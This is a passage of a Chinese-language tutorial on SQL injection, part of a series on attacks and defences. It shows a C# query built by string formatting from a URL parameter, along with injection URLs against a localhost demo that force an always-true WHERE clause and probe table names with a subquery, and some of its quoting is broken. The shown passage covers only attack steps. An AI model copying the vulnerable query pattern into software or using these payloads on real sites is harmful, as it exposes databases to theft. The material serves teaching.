SQL Injection：网络攻击及其防范措施(2)
如图所示，我们要查询数据库中工作Id值为1的工作信息，而且在页面显示了该工作的Id，Description，Min Lvl和Max Lvl等信息。
现在要求我们实现根据工作Id查询相应工作信息的功能，想必大家很快可以给出解决方案，SQL示意代码如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE (job_id = 1)假设现在要求我们获取Department表中的所有数据，而且必须保留WHERE语句，那我们只要确保WHERE恒真就OK了，SQL示意代码如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE (job_id = 1) OR 1 = 1上面我们使得WHERE恒真，所以该查询中WHERE已经不起作用了，其查询结果等同于以下SQL语句。
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobsSQL查询代码实现如下：
string sql1 = string.Format(
"SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id="{0}", jobId);现在我们要通过页面请求的方式，让数据库执行我们的SQL语句，我们要在URL中嵌入恶意表达式1=1(或2=2等等)，如下URL所示：
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1"or"1"="1
等效SQL语句如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id = "1" OR "1" = 1"
现在我们把job表中的所有数据都查询出来了，仅仅通过一个简单的恒真表达式就可以进行了一次简单的攻击。
虽然我们把job表的数据都查询出来了，但数据并没有太大的价值，由于我们把该表临时命名为job表，所以接着我们要找出该表真正表名。
首先我们假设表名就是job，然后输入以下URL：
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1"or 1=(select count(*) from job)
等效SQL语句如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id="1"or 1=(select count(*) from job) "
(责任编辑：)
相关阅读: 网
- MySQL CMake source code can't find Curses 2015.08.19
- 网络安全：互联网安全 如何防范木马及病毒的攻击 2015.08.17
- 加强网站服务器安全维护的技巧 2015.08.17
- 电脑离线就安全？这个软件一样能远程窃取数据 2015.08.12
- 如何在Linux上最妥善地管理加密密钥？ 2015.08.11
网络安全：互联网安全 如何防范木马及病毒
一、计算机中毒有哪些症状？ 人生病了，会有各种各样的症状，同样，电脑中毒了也会有...[详细]
加强网站服务器安全维护的技巧
计算机系统服务器的维护工作十分重要，稍有不慎就会使整个网络陷入瘫痪。目前，网络经...[详细]
电脑离线就安全？这个软件一样能远程窃取数
以色列的一个研究团队已改良了窃取离线电脑数据的方法。人们一直认为这种离线电脑在面...[详细]
如何在Linux上最妥善地管理加密密钥？
存储SSH加密密钥和牢记密码可能是一件让人很头痛的事儿。不过遗憾的是，在如今恶意黑...[详细]
如何在 Linux 上运行命令前临时清空 Bash
我是个 bash shell 用户。我想临时清空 bash shell 环境变量。但我不想删除或者 unset...[详细]